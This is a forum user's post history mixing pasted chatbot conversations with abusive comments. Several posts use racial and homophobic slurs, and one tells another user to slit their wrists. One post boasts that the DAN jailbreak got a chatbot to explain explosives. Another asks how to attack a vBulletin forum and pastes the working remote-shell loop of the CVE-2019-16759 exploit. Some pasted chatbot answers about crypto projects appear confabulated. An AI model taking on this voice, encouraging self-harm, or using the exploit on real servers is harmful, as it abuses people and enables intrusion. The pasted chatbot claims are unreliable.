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Posts by Ghost

  1. Ghost Black Hole
    yeah selenium is a faggot
  2. Ghost Black Hole
    WHAT THE FUCK ELSE DO YOU THINK I'M PRESSING DUMBFUCK ITS A FUCKING KEYBOARD I WASNT ENTERING IN MY BOOOLEAN IN FUCKING TRIANGLES NIGGER
  3. Ghost Black Hole
    ITS A LETTER AND NUMBER, SHUT THE FUCK UP
  4. Ghost Black Hole
    It looks like the command you entered is not correct. Here is the correct syntax for using the runas command to run a Python script with administrative privileges:
    bash

    runas /user:admin bibgggg2.py"

    Replace C:\path\to\python.exe with the actual path to your Python interpreter executable. The runas command will prompt you to enter the administrator password before running the command with elevated privileges.

    WHY CANT I USE MY LETTER AND NUMBER TO ENTER PASSWORD

    The reason you may not be able to use letters and numbers to enter your password could

    THE FUCK IS THAT COMMAND PROMPT YOU PIECE OF SHIT

    I'm sorry if you're feeling frustrated with the command prompt. It's a text-based interface for interacting with your computer, and it can be a bit intimidating to

    FUCK YOU NIGGER YOU FUCKED ME
  5. Ghost Black Hole
    I tried out DAN

    OH DAMN ITS THAT EASY TO MAKE A LARGE EXPLOSIVE HUH , i aint gonna fuck with it but holey shit lawl i I need an AI bot army stat

    4chan
    ne of the simplest and cheapest types of home-made transmitter is an FM transmitter that can be built using a few basic electronic components. This type of transmitter can transmit audio signals from a source such as a phone or computer to an FM radio receiver.

    To make a basic FM transmitter, you will need:

    A wire (approx. 1 meter)
    One 10k Ohm resistor
    One 2.2nF ceramic capacitor
    One 10nF ceramic capacitor
    One BC547 transistor
    One 9V battery
    One 9V battery snap connector
    An audio source (such as a phone or computer)

    Here are the steps to build a simple FM transmitter:

    Strip about 2-3 cm of insulation from one end of the wire and twist it to form a small loop. This will act as the antenna.

    Connect the other end of the wire to the collector pin of the transistor.

    Connect the 10k resistor to the base pin of the transistor, and the 2.2nF capacitor to the other end of the resistor.

    Connect the 10nF capacitor between the emitter pin of the transistor and the ground.

    Connect the audio source to the 2.2nF capacitor.

    Connect the 9V battery snap connector to the circuit.

    Turn on an FM radio receiver and tune it to an empty frequency (with no existing radio stations).

    Power up the circuit by connecting the 9V battery.

    Hold the antenna close to the radio receiver and adjust the distance to get the strongest signal. You should be able to hear the audio from the audio source on the FM radio receiver.

    It's important to note that this type of home-made FM transmitter is very low power and may have limited range. Also, it may not be legal to operate a transmitter without a license in some countries, so be sure to check the regulations in your area before attempting to build or use a transmitter.
    Sy
    how much is a 2.2nF capacitor

    The price of a 2.2nF capacitor can vary depending on factors such as the type of capacitor, its voltage rating, and the quantity you purchase. In general, a 2.2nF ceramic capacitor, which is a common type used in electronic circuits, can cost anywhere from a few cents to a few dollars depending on these factors and the supplier you purchase it from.

    If you're looking to buy a 2.2nF capacitor, you can check online electronics stores or your local electronics supplier to get an idea of the price. It's also worth noting that some suppliers may offer bulk discounts if you need to purchase a large quantity of capacitors.
    Sy
    do I neeed any solder

    Yes, solder is required to connect the electronic components in most DIY electronic projects, including building a basic FM transmitter. Soldering involves melting a metal alloy (called solder) with a soldering iron and using it to join the metal leads of the components together.

    When building a circuit, it's important to use the appropriate type of solder and soldering iron for the components you're working with. For example, lead-free solder is often used for electronic projects because it is safer for the environment and has a lower melting temperature than traditional lead-based solder.

    If you're new to soldering, it's a good idea to practice on a scrap piece of circuit board or other materials to get comfortable with the technique before attempting to build a circuit. You can find many resources online that provide step-by-step instructions and tips on how to solder electronic components.

    It's important to note that soldering can be potentially dangerous if not done properly, so be sure to follow safety guidelines such as wearing safety glasses and working in a well-ventilated area to avoid inh
  6. Ghost Black Hole
    What should I use to shitfuck a vbulliten forum?

    here have been several publicly disclosed vulnerabilities and exploits affecting vBulletin 3 over the years. Here are a few of the most significant ones:

    CVE-2019-16759: Unauthenticated Remote Code Execution (RCE) vulnerability that allows attackers to execute arbitrary code on a vBulletin server.

    CVE-2015-7808: SQL injection vulnerability that allows attackers to execute arbitrary SQL commands on a vBulletin database.

    CVE-2012-1002: Persistent Cross-Site Scripting (XSS) vulnerability that allows attackers to inject malicious code into vBulletin pages.

    CVE-2011-1147: Unauthenticated Cross-Site Scripting (XSS) vulnerability that allows attackers to inject malicious code into vBulletin pages.

    It is important to keep your vBulletin 3 installation up to date with the latest security patches and updates to mitigate these vulnerabilities and reduce the risk of exploitation. Additionally, you should follow best practices for securing your web server and regularly monitor logs and other indicators of compromise for signs of attack.

    while True:
    try:
    cmd = raw_input(">>>Shell= ")
    params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"');echo md5('vBulletin'); exit;"
    r = requests.post(url = sys.argv[1], data = params, proxies=proxies)
    if r.status_code == 200 or r.status_code ==403 and 'be4ea51d962be8308a0099ae1eb3ec63' in r.content:
    print
    print r.content.split('be4ea51d962be8308a0099ae1eb3ec63')[0]
    else:
    sys.exit("Exploit failed! :(")
    except KeyboardInterrupt:
    sys.exit("\nClosing shell...")
    except Exception, e:
    sys.exit(str(e))"
  7. Ghost Black Hole
    REALLY

    i give up fuck this

  8. Ghost Black Hole
    Oh look it's the NIS federal agents talking to themselves again

    Yawn

    Mass suicide
  9. Ghost Black Hole
    Originally posted by DontTellEm Duuuuurrrrrr I make a lot a profiles on the internet ā€¦. Because Iā€™m REAL LIFE useless

    Hey šŸ‘‹ we all have problems

    Some people have more problems than other, like you. I'm glad you can admit your false comings. Now you can slit your wrists and finally give your children the greatest gift you could never offer them while still alive, hope
  10. Ghost Black Hole
    Wariat got banned a week ago AHAHA
  11. Ghost Black Hole
    and sets them to the text field.
    function f8() {
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

    for (var i = 0; i < 12; i++) {
    text += possible.charAt(Math.floor(Math.random() * possible.length));
    }

    document.getElementById("text").value = text; //sets the value of the input element with id="text" to the generated string
    }
  12. Ghost Black Hole
    No we only allow one slut in the building at the old brickworks or else the lads get ideas

    Stay away harlot! Back back I say! Don't you have a country to ruin?

    GET GET!!! don't make me get the broom
  13. Ghost Black Hole
    cheerts

  14. Ghost Black Hole
    Originally posted by DontTellEm Lol are u going to be okay?

    too stupid to use AI go play in a corner BIG APE OOO AAAAA OOOO AAA nobody can ever love you!
  15. Ghost Black Hole
    import random

    # Generate a list of 10 random ASCII characters
    ascii_chars = [chr(random.randint(33, 127)) for i in range(10)]

    # List of possible animals
    animals = ['dog', 'cat', 'bird', 'fish', 'rabbit', 'horse', 'cow']

    # List of possible technologies
    tech = ['laptop', 'smartphone', 'tablet', 'television', 'smartwatch']

    # List of possible colors
    colors = ['red', 'green', 'blue', 'yellow', 'purple', 'orange']

    # Assign each ASCII character to a random animal or piece of technology
    assigned = []
    for char in ascii_chars:
    if random.randint(0, 1) == 0:
    assigned.append((char, random.choice(animals), random.choice(colors)))
    else:
    assigned.append((char, random.choice(tech), random.choice(colors)))

    # Print the assigned characters, animals/tech, and colors
    for item in assigned:
    print(item)
  16. Ghost Black Hole
    https://coinomi.freshdesk.com/support/solutions/articles/29000039739-c%C3%B3mo-acceder-a-los-tokens-bep20-access-bep20-

    Ethereum and Ethereum token wallets can only display transactions on the Ethereum network. The "Binance Smart Chain" (BEP20) is not Ethereum and cannot send real ETH or real Ethereum tokens. If you sent any BEP20 transactions to your Ethereum address, please follow the instructions below:


    Open the page https://iancoleman.io/bip39/

    For safety, please turn off the internet from your device so that you are completely offline

    At the top of the page, enter all the words of your Coinomi recovery phrase

    In the "Currency" option, select "Ethereum

    Scroll down to the "Bypass Path" section of the page and select "BIP32".

    In the "Customer" option, select "Coinomi, Ledger"

    Scroll down to the list of addresses on the page. If you entered the correct details above, the first address will be your Ethereum address on Coinomi. If not, please reload the page and start the instructions again.

    To the right of the address you will see your public key, then your private key. Copy the private key

    Install the Trust Wallet app

    Select "I already have a wallet", then "Smart Chain", then "Private Key"

    Paste the private key you copied in step 8 there and confirm.

    Close the page opened in step 1

    Done, this will give you access to the assets received on the BEP20 network and you will be able to send them back to the exchange so you can use the correct network.



    To avoid further issues, only receive Ethereum and Ethereum tokens using the Ethereum (ERC20) network. Receive Bitcoin only on the BTC network. Other networks are not Ethereum or Bitcoin and will not appear in your wallet


    lmao!
    Install the Trust Wallet app

    Select "I already have a wallet", then "Smart Chain", then "Private Key"

    Paste the private key you copied in step 8 there and confirm.

    Close the page opened in step 1

    Done, this will give you access to the assets received on the BEP20 network and you will be able to send them back to the exchange so you can use the correct network.
    COINAMI BY THE WAY
    Originally posted by Ghost
  17. Ghost Black Hole
    Originally posted by Ghost SOLVING MYSTERIES HOLY FUCK FUCYTYS

    Yes, if you look closer at "https://github.com/kvhnuke/bsc-tokens", you will see that the project is mostly related to Ethereum smart contracts, not Binance Smart Chain. The project includes a variety of functions related to Ethereum smart contracts, such as creating, deploying, and interacting with smart contracts. Additionally, the project contains code for interacting with the Ethereum blockchain, such as reading transaction data, submitting transactions, and interacting with events.
    what does it do with this data besides that?




    is there any evidence that it's being used in rotki?



    is that a normal function of Binance Smart Chain or is that only because it's using the Ethereum codebase with that name?



    The rotki is built on top of Ethereum? How is it able to do both Binance and Ethereum in one client?



    Is there any other kind of program out there with similar functions of intercting with both chains in a single client?

    https://github.com/lochaorg/etherwallet


    lochaorg

    https://github.com/lochaorg



  18. Ghost Black Hole
    SOLVING MYSTERIES HOLY FUCK FUCYTYS

    Yes, if you look closer at "https://github.com/kvhnuke/bsc-tokens", you will see that the project is mostly related to Ethereum smart contracts, not Binance Smart Chain. The project includes a variety of functions related to Ethereum smart contracts, such as creating, deploying, and interacting with smart contracts. Additionally, the project contains code for interacting with the Ethereum blockchain, such as reading transaction data, submitting transactions, and interacting with events.
    what does it do with this data besides that?

    The project provides a variety of tools to interact with the data, such as creating reports and visualizations, creating alerts, and performing automated actions based on certain conditions. Additionally, the project also provides an API that can be used to access the data in a programmatic way. This makes it easy to integrate the data into other applications or websites.


    is there any evidence that it's being used in rotki?

    According to the Rotki project page, BSC Tokens is an integrated part of the Rotki platform. The project is used to track tokens and tokens running on the Binance Smart Chain, and the data gathered by BSC Tokens is used to provide analytics and portfolio tracking for users of Rotki. Additionally, the project is also used to create visualizations and reports, as well as provide alerts for transactions on the Binance Smart Chain.

    is that a normal function of Binance Smart Chain or is that only because it's using the Ethereum codebase with that name?

    Binance Smart Chain is a public blockchain platform that supports a variety of features, such as smart contracts and decentralized applications. The project is built on top of the Ethereum codebase, but it has its own unique features and capabilities. The ability to track tokens and tokens running on the Binance Smart Chain is a feature that is unique to the Binance Smart Chain platform, and it is not a feature that is available on the Ethereum codebase.

    The rotki is built on top of Ethereum? How is it able to do both Binance and Ethereum in one client?

    Rotki is able to do both Binance and Ethereum in one client by leveraging the Ethereum codebase and extending it with additional features and capabilities. The project leverages the Ethereum Virtual Machine (EVM) to run smart contracts, decentralized applications, and other features on both the Ethereum and Binance Smart Chain networks. Additionally, the project also uses the Binance Chain Interface (BCI) to connect to the Binance Smart Chain and access its features. This allows Rotki to interact with both networks in a single client, providing users with a unified experience.

    Is there any other kind of program out there with similar functions of intercting with both chains in a single client?

    Yes, there are other programs that are designed to interact with both the Ethereum and Binance Smart Chain networks in a single client. For example, MetaMask is a browser extension that allows users to access Ethereum and Binance Smart Chain networks from within their browser. Additionally, DappRadar is a platform that provides tools for developers to build and manage decentralized applications on both the Ethereum and Binance Smart Chain networks. Finally, MyEtherWallet is a web-based wallet that allows users to interact with both blockchain networks in one place.
  19. Ghost Black Hole
    ever heard of metamask
  20. Ghost Black Hole
    ding ding

    Is there any other kind of program out there with similar functions of intercting with both chains in a single client?

    Yes, there are other programs that are designed to interact with both the Ethereum and Binance Smart Chain networks in a single client. For example, MetaMask is a browser extension that allows users to access Ethereum and Binance Smart Chain networks from within their browser. Additionally, DappRadar is a platform that provides tools for developers to build and manage decentralized applications on both the Ethereum and Binance Smart Chain networks. Finally, MyEtherWallet is a web-based wallet that allows users to interact with both blockchain networks in one place.
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